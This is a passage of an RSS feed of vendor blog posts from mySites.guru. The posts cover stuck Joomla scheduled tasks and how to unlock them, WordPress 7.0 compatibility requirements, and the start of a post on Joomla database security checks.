https://mysites.guru/_astro/mysites-guru-locked-scheduled-tasks-pivot.CQ2LbEPL_kzc4m.webp 2560w, https://mysites.guru/_astro/mysites-guru-locked-scheduled-tasks-pivot.CQ2LbEPL_1XgaNQ.webp 3176w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is where the real time savings come in. Instead of logging into 200 Joomla admin panels to check System &amp;gt; Scheduled Tasks on each one, you get the full picture from one page. Sites with zero locked tasks show green. Sites with stuck tasks show a warning count. Sort, scan, fix, move on.&lt;/p&gt;
&lt;h2&gt;The Downstream Damage From Locked Tasks&lt;/h2&gt;
&lt;p&gt;Stuck scheduled tasks don’t crash your site, but the downstream effects accumulate:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Update Notification: you stop getting emails about available Joomla and extension updates. The &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;update check&lt;/a&gt; still works from mySites.guru, but local admin notifications go silent.&lt;/li&gt;
&lt;li&gt;Session GC: expired sessions aren’t cleaned up. The &lt;code&gt;#__session&lt;/code&gt; table grows, slowing database queries.&lt;/li&gt;
&lt;li&gt;Privacy Consent: GDPR consent expiry processing stops. Users who should be re-prompted aren’t.&lt;/li&gt;
&lt;li&gt;Log Rotation: action logs grow without bounds. On high-traffic sites, this eats disk space fast.&lt;/li&gt;
&lt;li&gt;Custom tasks from third-party extensions stop running with no error message.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That last one deserves extra attention. Third-party extensions can register their own scheduled tasks via &lt;code&gt;com_scheduler&lt;/code&gt; plugins. &lt;a href=&quot;https://www.akeeba.com/&quot;&gt;Akeeba Backup&lt;/a&gt; is the most common example - it provides a task plugin for &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;automated backup schedules&lt;/a&gt;. If you’ve set up Akeeba to run nightly backups via the scheduler and the task locks, your backups stop with no error. You won’t know until you need a restore and find the most recent backup is three weeks old.&lt;/p&gt;
&lt;p&gt;Any extension that ships a &lt;code&gt;com_scheduler&lt;/code&gt; task plugin is at risk. The Investigate view in mySites.guru shows the task type identifier, so you can tell immediately whether a locked task belongs to Joomla core or a third-party extension.&lt;/p&gt;
&lt;p&gt;The same identifier answers a second question, and it is worth asking on any site you suspect has been compromised: does an installed, enabled plugin advertise that type at all? If nothing does, the row is not a stuck task but &lt;a href=&quot;https://mysites.guru/blog/joomla-scheduled-tasks-backdoor/&quot;&gt;a task nothing on the site can run&lt;/a&gt;, which is a different problem living in the same table.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;com_scheduler&lt;/code&gt; is also worth keeping up to date for security reasons - the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;Joomla 5.4.6 and 6.1.1 security release&lt;/a&gt; closes an ACL bypass in the scheduler itself, so patching alongside the regular lock-detection workflow is a good idea.&lt;/p&gt;
&lt;p&gt;None of these cause immediate, visible errors. That’s the problem. They’re the kind of issues you discover weeks later when someone asks “why haven’t we had an update notification in a month?” or when a backup is needed and the latest one is stale.&lt;/p&gt;
&lt;h2&gt;Why do Joomla scheduled tasks get stuck?&lt;/h2&gt;
&lt;p&gt;Joomla scheduled tasks get stuck when the PHP process running them crashes without releasing the database lock. The four most common causes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;PHP hits &lt;code&gt;max_execution_time&lt;/code&gt; or &lt;code&gt;memory_limit&lt;/code&gt;, the process crashes, and the database lock persists because there’s no cleanup handler.&lt;/li&gt;
&lt;li&gt;Long-running tasks lose their database connection, especially on shared hosting with aggressive connection timeouts.&lt;/li&gt;
&lt;li&gt;The web server or PHP-FPM restarts while a task is running. The lock stays.&lt;/li&gt;
&lt;li&gt;A third-party plugin providing a scheduled task throws a fatal error. The task framework can’t catch it, so the lock remains.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These aren’t edge cases. On a busy shared host, PHP timeouts and connection drops happen regularly. If you manage multiple Joomla sites across different hosts, you’ll eventually run into locked tasks on at least a few of them.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note: &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47217&quot;&gt;Joomla 5.4.2 improved cascade behaviour&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Before Joomla 5.4.2, a single stuck task would block &lt;em&gt;all&lt;/em&gt; other scheduled tasks from running. The scheduler checked for any locked task and would not start new ones, even if the lock had long exceeded its timeout. Joomla 5.4.2 fixed this by respecting the configured timeout, so a timed-out task no longer prevents other tasks from executing. The stuck task itself still needs manual unlocking, but at least it no longer takes the entire scheduler down with it.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How do I unlock a stuck Joomla scheduled task?&lt;/h2&gt;
&lt;p&gt;The fastest way is directly from mySites.guru. When the snapshot flags locked tasks, click Fix to unlock them remotely. mySites.guru connects to the site and clears the lock on the stuck tasks without you ever logging into the Joomla admin. This is the whole point of the feature - detect and resolve locked tasks across all your sites from one dashboard, instead of logging into each one individually.&lt;/p&gt;
&lt;p&gt;If you prefer to fix it manually, you can also unlock tasks from the Joomla admin:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;System &amp;gt; Scheduled Tasks&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find the task showing the running person icon&lt;/li&gt;
&lt;li&gt;Click the task to open it&lt;/li&gt;
&lt;li&gt;The task detail screen will show the lock state, and you can manually unlock it&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Or if you have database access:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;UPDATE&lt;/span&gt;&lt;span&gt; #__scheduler_tasks &lt;/span&gt;&lt;span&gt;SET&lt;/span&gt;&lt;span&gt; locked &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; NULL&lt;/span&gt;&lt;span&gt; WHERE&lt;/span&gt;&lt;span&gt; id &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &amp;lt;&lt;/span&gt;&lt;span&gt;task_id&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;#__&lt;/code&gt; with your actual table prefix (usually &lt;code&gt;jml_&lt;/code&gt; or similar) and &lt;code&gt;&amp;lt;task_id&amp;gt;&lt;/code&gt; with the task ID shown in the mySites.guru investigate results.&lt;/p&gt;
&lt;h2&gt;Supported Joomla Versions for This Check&lt;/h2&gt;
&lt;p&gt;The Task Scheduler was introduced in Joomla 4.1, but this feature targets &lt;strong&gt;Joomla 5 and Joomla 6&lt;/strong&gt; sites. Those are the actively supported major versions, and the ones where mySites.guru invests in new audit tooling.&lt;/p&gt;
&lt;p&gt;Joomla 4 sites will not show locked task data. Joomla 3 has no task scheduler at all.&lt;/p&gt;
&lt;h2&gt;Credit for the Feature Request&lt;/h2&gt;
&lt;p&gt;This feature was requested by &lt;a href=&quot;https://www.woluweb.be/&quot;&gt;Marc Dechèvre&lt;/a&gt; (WoluWeb), a long-time Joomla contributor and mySites.guru user. Marc noticed that locked tasks were a recurring pain point for agencies managing Joomla sites at scale. The information was always there in the database, but no one had an easy way to check it across multiple sites without logging into each one individually.&lt;/p&gt;
&lt;p&gt;If you have feature ideas for mySites.guru, get in touch via the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;contact form&lt;/a&gt; or reply to any newsletter email. User feedback drives the roadmap.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Help4.x:Scheduled_Tasks/en&quot;&gt;Joomla Scheduled Tasks Documentation&lt;/a&gt; - official help page covering task types, options, and the scheduler interface&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/march-2022/get-to-know-the-new-joomla-task-scheduler&quot;&gt;Get to Know the Joomla Task Scheduler&lt;/a&gt; - Joomla Community Magazine introduction to the feature from its launch&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J5.x:Execution_History_of_Scheduled_Tasks&quot;&gt;Execution History of Scheduled Tasks (Joomla 5.x)&lt;/a&gt; - how to review task execution logs, added in Joomla 5.3&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/47217&quot;&gt;Issue #47217: Fix scheduled tasks stopping when one gets stuck&lt;/a&gt; - the Joomla issue tracker entry for the 5.4.2 cascade fix&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/documentation/admin-tools-joomla/php-file-scanner-joomlascheduled.html&quot;&gt;Akeeba Backup Scheduled Tasks Integration&lt;/a&gt; - how Akeeba uses the Joomla scheduler for automated backups&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How do I try it?&lt;/h2&gt;
&lt;p&gt;The locked scheduled tasks check ships with all &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru subscriptions&lt;/a&gt; at no extra cost. Connect your Joomla 5 or 6 sites and the next snapshot picks up any locked tasks automatically.&lt;/p&gt;
&lt;p&gt;Not a subscriber? The &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; runs a broad set of Joomla health checks on any site. Worth a look.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 5</category><category>joomla 6</category><category>scheduled tasks</category><category>audit</category><enclosure url="https://mysites.guru/img/og/blog/detect-locked-joomla-scheduled-tasks.webp" length="0" type="image/webp"/></item><item><title>How to Check Your Sites for WordPress 7.0 Compatibility</title><link>https://mysites.guru/blog/wordpress-7-requirements/</link><guid isPermaLink="true">https://mysites.guru/blog/wordpress-7-requirements/</guid><description>WordPress 7.0 requires PHP 7.4+, dropping PHP 7.2 and 7.3, while the MySQL and MariaDB minimum stays at 5.5.5. Check every site&apos;s PHP and database at once.</description><pubDate>Thu, 26 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;Update (21 May 2026): WordPress 7.0 &quot;Armstrong&quot; has shipped.&lt;/p&gt;
  &lt;p&gt;WordPress 7.0 was released on 20 May 2026 after the April delay. &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/&quot;&gt;mySites.guru is fully compatible&lt;/a&gt;. Real-time collaboration was pulled from the release and deferred to 7.1, but the PHP 7.4 minimum below is confirmed.&lt;/p&gt;
  &lt;p&gt;Correction (2 October 2026): an earlier version of this post said 7.0 also raised the MySQL minimum to 8.0. It did not. The database floor is still MySQL or MariaDB 5.5.5.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;WordPress 7.0 was originally scheduled for April 9, 2026, but the release has been delayed while the core team reworks the real-time collaboration architecture. It raises one floor requirement: &lt;strong&gt;PHP 7.2 and 7.3 are dropped&lt;/strong&gt; (minimum moves to PHP 7.4). The database minimum stays at MySQL or MariaDB 5.5.5, although WordPress now recommends MySQL 8.4 or MariaDB 10.11 and later. Sites below the PHP minimum will not be offered the auto-update.&lt;/p&gt;
&lt;p&gt;If you manage a portfolio of WordPress sites, these are the kind of changes that catch you off guard. A site on old PHP, and suddenly that site is stuck on 6.9 while everything else moves forward. mySites.guru flags exactly which sites are affected. The &lt;a href=&quot;https://manage.mysites.guru/en/sites/&quot;&gt;Sites Overview&lt;/a&gt; shows PHP versions, MySQL/MariaDB versions, and WordPress versions for every connected site. Sites below the 7.0 PHP minimum stand out immediately. If you’re not a subscriber yet, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; reports PHP versions too.&lt;/p&gt;
&lt;h2&gt;What Changed Between WordPress 6.9 and 7.0?&lt;/h2&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Component&lt;/th&gt;
      &lt;th&gt;WordPress 6.9&lt;/th&gt;
      &lt;th&gt;WordPress 7.0&lt;/th&gt;
      &lt;th&gt;Changed?&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;&lt;td&gt;PHP (minimum)&lt;/td&gt;&lt;td&gt;7.2.24&lt;/td&gt;&lt;td&gt;7.4&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;
    &lt;tr&gt;&lt;td&gt;PHP (recommended)&lt;/td&gt;&lt;td&gt;8.3&lt;/td&gt;&lt;td&gt;8.3+&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;
    &lt;tr&gt;&lt;td&gt;MySQL (minimum)&lt;/td&gt;&lt;td&gt;5.5.5&lt;/td&gt;&lt;td&gt;5.5.5 (8.4 recommended)&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;
    &lt;tr&gt;&lt;td&gt;MariaDB (minimum)&lt;/td&gt;&lt;td&gt;5.5.5&lt;/td&gt;&lt;td&gt;5.5.5 (10.11+ recommended)&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;
    &lt;tr&gt;&lt;td&gt;HTTPS&lt;/td&gt;&lt;td&gt;Recommended&lt;/td&gt;&lt;td&gt;Recommended&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;
    &lt;tr&gt;&lt;td&gt;Web Server&lt;/td&gt;&lt;td&gt;Apache or Nginx&lt;/td&gt;&lt;td&gt;Apache (mod_rewrite) or Nginx&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The PHP change is the one that will actually affect sites. PHP 7.2 and 7.3 usage dropped below 4% of monitored WordPress installs, which is below the 5% threshold the WordPress project uses for dropping support. The &lt;a href=&quot;https://make.wordpress.org/core/2026/01/09/dropping-support-for-php-7-2-and-7-3/&quot;&gt;official announcement&lt;/a&gt; went up in January.&lt;/p&gt;
&lt;p&gt;The database minimum did not move. WordPress 7.0 still runs on MySQL or MariaDB 5.5.5, even though Oracle ended MySQL 5.7 extended support in October 2023 and MySQL 8.0 support on 30 April 2026. If your hosting provider is still running MySQL 5.x, that’s a bigger problem than WordPress compatibility.&lt;/p&gt;
&lt;h3&gt;What happened when Joomla required MySQL 8?&lt;/h3&gt;
&lt;p&gt;Joomla went through this exact pain already. When &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 5 launched in October 2023&lt;/a&gt; with MySQL 8.0.13 as its minimum, budget shared hosts weren’t ready. HostGator told users they’d need to move to a VPS at roughly 6x the cost. GoDaddy’s response to “when will shared hosting get MySQL 8?” was basically “we don’t know.” SiteGround didn’t even start their MySQL 8 rollout until April 2024, six months after Joomla 5 launched, and the migration took 63 days and 1,228 engineering hours across roughly 3 million databases.&lt;/p&gt;
&lt;p&gt;The result was a two-year window where Joomla users on cheap shared hosting were stuck: their host wouldn’t upgrade MySQL, they couldn’t upgrade to Joomla 5, and Joomla 4 was marching toward end-of-life. Many switched to MariaDB (which hosts offered more readily) or changed providers entirely.&lt;/p&gt;
&lt;p&gt;WordPress users will not hit this with 7.0, because WordPress kept the 5.5.5 floor. If a later release does raise it, most hosts already moved to MySQL 8 or a current MariaDB during the Joomla migration wave. If your host came through the Joomla 5 transition, you’re probably fine. If they didn’t, well, that tells you something about your host.&lt;/p&gt;
&lt;h2&gt;Sites on PHP 7.2 or 7.3 Stay on the 6.9 Branch&lt;/h2&gt;
&lt;p&gt;They don’t break. WordPress won’t force an incompatible update. Instead:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WordPress 7.0 will not be offered via the automatic update mechanism. Auto-updates skip these sites entirely.&lt;/li&gt;
&lt;li&gt;Security patches for 6.9.x will continue, so sites aren’t left exposed. They stay on the 6.9 security branch.&lt;/li&gt;
&lt;li&gt;Manual updates are blocked too. The Dashboard &amp;gt; Updates screen will tell the site owner to upgrade PHP first.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The risk isn’t immediate breakage. It’s drift. A site stuck on 6.9 gradually falls behind on features, &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;plugin vulnerability patches&lt;/a&gt;, and eventually security coverage when the 6.9 branch reaches end of life.&lt;/p&gt;
&lt;h2&gt;How Do You Check PHP Versions Across All Your Sites?&lt;/h2&gt;
&lt;p&gt;Checking one site is easy: Dashboard &amp;gt; Tools &amp;gt; Site Health. Checking 50 or 500 is not.&lt;/p&gt;
&lt;h3&gt;WordPress 7 Compatibility Checker&lt;/h3&gt;
&lt;p&gt;We built a dedicated &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;WordPress 7 Compatibility Checker&lt;/a&gt; that lists every connected WordPress site and colour-codes each one against the 7.0 requirements. You can open it from the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; (&lt;code&gt;Cmd+K&lt;/code&gt; or &lt;code&gt;Ctrl+K&lt;/code&gt;) by typing “wordpress 7”, or with the keyboard shortcut &lt;code&gt;c&lt;/code&gt; then &lt;code&gt;7&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you’re already a mySites.guru subscriber, you can open this tool right now:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Check all your WordPress sites for 7.0 compatibility&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;Open WordPress 7 Compatibility Checker&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Colour-codes every connected site&apos;s PHP version, database version, and auto-update status against the WordPress 7.0 requirements. Sites that need attention are flagged immediately.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;For each site, the tool shows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PHP version&lt;/strong&gt; - green if 8.3+ (recommended), yellow if 7.4+ (minimum), red if below 7.4&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Database version&lt;/strong&gt; - green for MySQL 8.4+ or MariaDB 11.4+ (current LTS releases), yellow for MySQL 8.0+ or MariaDB 10.6+ (still works, but both reached end of life in 2026), red for anything older (WordPress 7.0 still runs on it, but it is past end of life)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Auto-update status&lt;/strong&gt; - whether &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; is set in wp-config.php, so you know which sites might auto-upgrade to 7.0 before you’re ready&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Server hostname&lt;/strong&gt; - quickly spot which hosting provider or server needs attention&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sites that need action stand out immediately. Filter by hostname to see all sites on one server, or by PHP version to group sites that need the same upgrade. For a closer look at how the colour coding works and what each column means, see the &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-technical-requirements-check/&quot;&gt;WordPress 7 technical requirements check walkthrough&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://manage.mysites.guru/en/sites/&quot;&gt;Sites Overview&lt;/a&gt; also shows PHP and database versions for every connected site if you need a broader view across both WordPress and Joomla. If you’re not a subscriber yet, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; reports PHP versions too.&lt;/p&gt;
&lt;p&gt;From there, coordinate with hosting providers to upgrade PHP on the affected servers before the release. The delay gives you extra time to prepare. Most hosts let you change PHP versions from cPanel or Plesk without a support ticket.&lt;/p&gt;
&lt;h2&gt;What Else Is New in WordPress 7.0&lt;/h2&gt;
&lt;p&gt;PHP and MySQL are the operational headaches, but 7.0 ships a lot more than version bumps.&lt;/p&gt;
&lt;h3&gt;Real-Time Collaboration&lt;/h3&gt;
&lt;p&gt;Phase 3 of the Gutenberg roadmap appears here: real-time collaborative editing in the block editor. Multiple users can edit the same post simultaneously, with changes synced using Yjs (a conflict-free data merging library).&lt;/p&gt;
&lt;p&gt;The default transport is &lt;strong&gt;HTTP polling&lt;/strong&gt;, which works on every host with no special server configuration. Hosting providers can optionally enable WebSocket support for lower latency via the &lt;code&gt;sync.providers&lt;/code&gt; filter.&lt;/p&gt;
&lt;p&gt;One caveat: posts that use classic meta boxes will fall back to traditional post locking instead of real-time collaboration. If you have custom meta boxes, migrate them to &lt;code&gt;register_post_meta()&lt;/code&gt; with &lt;code&gt;show_in_rest =&amp;gt; true&lt;/code&gt; or you won’t get the collaborative editing.&lt;/p&gt;
&lt;p&gt;During the beta/RC period, collaboration is controlled by the &lt;code&gt;WP_ALLOW_COLLABORATION&lt;/code&gt; constant in &lt;code&gt;wp-config.php&lt;/code&gt;. After the stable release, it should be on by default.&lt;/p&gt;
&lt;h3&gt;AI Infrastructure&lt;/h3&gt;
&lt;p&gt;WordPress 7.0 ships a provider-agnostic AI client (&lt;code&gt;WP_AI_Client_Prompt_Builder&lt;/code&gt;) that lets plugins call OpenAI, Anthropic, Google, and other LLM providers through a unified PHP API. A new &lt;strong&gt;Connectors API&lt;/strong&gt; at Settings &amp;gt; Connectors centralizes credentials for external services.&lt;/p&gt;
&lt;p&gt;There’s also an &lt;strong&gt;MCP Adapter&lt;/strong&gt; that exposes WordPress “Abilities” as Model Context Protocol tools at &lt;code&gt;/wp-json/mcp/v1/&lt;/code&gt;, authenticated via Application Passwords. If you’ve been following the MCP spec, this is WordPress giving plugins a standardized way to talk to AI agents.&lt;/p&gt;
&lt;p&gt;You can disable all AI features with a single config option if you don’t want LLM integration on a site.&lt;/p&gt;
&lt;h3&gt;Everything Else&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Images are now resized and compressed in the browser before upload (client-side media processing), which reduces server load&lt;/li&gt;
&lt;li&gt;Blocks can be shown or hidden per screen size (mobile, tablet, desktop)&lt;/li&gt;
&lt;li&gt;The Posts, Pages, and Media screens use new DataViews (list/grid toggle) instead of &lt;code&gt;WP_List_Table&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A “Modern” admin color scheme replaces “Fresh” as the default. The old scheme is still available.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Cmd+K&lt;/code&gt; / &lt;code&gt;Ctrl+K&lt;/code&gt; opens a Command Palette in the admin bar for quick navigation&lt;/li&gt;
&lt;li&gt;New blocks: Breadcrumbs, Icons, Gallery lightbox, Grid (responsive), Cover (video embeds)&lt;/li&gt;
&lt;li&gt;The Font Library now works with classic and hybrid themes, not just block themes&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The Phased Rollout Plan for 7.0&lt;/h2&gt;
&lt;p&gt;If you’ve been testing during the RC cycle, yes - update production sites as soon as the stable release is available. If you haven’t been following the pre-release builds, test on a staging site first and update production once you’re confident.&lt;/p&gt;
&lt;p&gt;The delay actually works in your favour here. Use the extra time to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Run the &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;WordPress 7 Compatibility Checker&lt;/a&gt; to identify sites below PHP 7.4 or on an end-of-life database, then coordinate hosting upgrades&lt;/li&gt;
&lt;li&gt;Test on staging with the latest RC/beta, especially if you use custom meta boxes or heavily customized themes&lt;/li&gt;
&lt;li&gt;Review plugin compatibility - major WordPress releases sometimes break plugins that rely on internal APIs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Plan mass upgrades&lt;/a&gt; - once you’re confident, mySites.guru lets you roll out WordPress updates across all sites from one place&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you want to control the rollout more tightly, you can &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforce minor upgrades only&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable automatic updates entirely&lt;/a&gt; so sites don’t auto-update to 7.0 before you’re ready.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/31/extending-the-7-0-cycle/&quot;&gt;Extending the 7.0 cycle&lt;/a&gt; - announcement of the release delay (March 31)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/04/02/the-path-forward-for-wordpress-7-0/&quot;&gt;The path forward for WordPress 7.0&lt;/a&gt; - revised timeline details, pre-release pause through April 17 (April 2)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-7-0-release-candidate-2/&quot;&gt;WordPress 7.0 RC2 announcement&lt;/a&gt; - release candidate (March 26, hard string freeze)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-7-0-release-candidate-1/&quot;&gt;WordPress 7.0 RC1 announcement&lt;/a&gt; - first release candidate notes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/01/09/dropping-support-for-php-7-2-and-7-3/&quot;&gt;Dropping PHP 7.2 and 7.3&lt;/a&gt; - Make WordPress Core announcement&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/24/introducing-the-ai-client-in-wordpress-7-0/&quot;&gt;AI Client dev note&lt;/a&gt; - WP_AI_Client documentation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/18/introducing-the-connectors-api-in-wordpress-7-0/&quot;&gt;Connectors API dev note&lt;/a&gt; - new Settings &amp;gt; Connectors screen&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;More on keeping PHP and WordPress current in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>php</category><category>hosting</category><category>updates</category><enclosure url="https://mysites.guru/img/og/blog/wordpress-7-requirements.webp" length="0" type="image/webp"/></item><item><title>How to Check Your Joomla Database Security with mySites.guru</title><link>https://mysites.guru/blog/how-to-check-joomla-database-security/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-check-joomla-database-security/</guid><description>Your Joomla database might be running with the default jos_ prefix, a root user, or excessive privileges. Here&apos;s how to flag each issue and fix it.</description><pubDate>Wed, 25 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Your Joomla site’s database holds everything that matters. User accounts, passwords, content, configuration, session tokens, extension settings. If an attacker gets read access, they own the site. Write access, they own the server.&lt;/p&gt;
&lt;p&gt;The database is also one of the most commonly misconfigured parts of any Joomla installation. &lt;a href=&quot;https://mysites.guru/tools/database-integrity/default-database-prefix/&quot;&gt;Default table prefixes&lt;/a&gt; that automated tools know how to target. &lt;a href=&quot;https://mysites.guru/tools/database-integrity/database-user-is-root/&quot;&gt;Root database users&lt;/a&gt; with unrestricted access. Database users that can see every database on the server. Backup tables full of historical data that no one remembers creating. Schema mismatches from botched updates. Action logs growing without bounds.&lt;/p&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot tool&lt;/a&gt; checks for all of these automatically. The &lt;strong&gt;Database Integrity&lt;/strong&gt; section of the snapshot runs six distinct checks on every connected site:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru Database Integrity checks: default prefix, root user, single-database access, backup tables, schema match, and action log purge&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2030px) 2030px, 100vw&quot; width=&quot;2030&quot; height=&quot;548&quot; src=&quot;https://mysites.guru/_astro/database-integrity-checks.ByA2zL92_1ciaTr.webp&quot; srcset=&quot;https://mysites.guru/_astro/database-integrity-checks.ByA2zL92_ZICNcB.webp 640w, https://mysites.guru/_astro/database-integrity-checks.ByA2zL92_Z2k4KDO.webp 750w, https://mysites.guru/_astro/database-integrity-checks.ByA2zL92_26WsCz.webp 828w, https://mysites.guru/_astro/database-integrity-checks.ByA2zL92_Z1hBaq0.webp 1080w, https://mysites.guru/_astro/database-integrity-checks.ByA2zL92_Z7Vd8G.webp 1280w, https://mysites.guru/_astro/database-integrity-checks.ByA2zL92_Z16cju7.webp 1668w, https://mysites.guru/_astro/database-integrity-checks.ByA2zL92_1ciaTr.webp 2030w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Each check links to a &lt;strong&gt;Watch&lt;/strong&gt; button (video walkthrough), a &lt;strong&gt;Learn&lt;/strong&gt; button (&lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice explanation&lt;/a&gt;), and an &lt;strong&gt;Investigate&lt;/strong&gt; button that takes you straight to the issue on that specific site. For Joomla sites, most checks also include a &lt;strong&gt;Fix This For Me&lt;/strong&gt; button that applies the fix remotely with a single click. When you need to see a single check across all your sites at once, the pivot view shows every connected site’s status for that check on one screen:&lt;/p&gt;
&lt;div&gt;
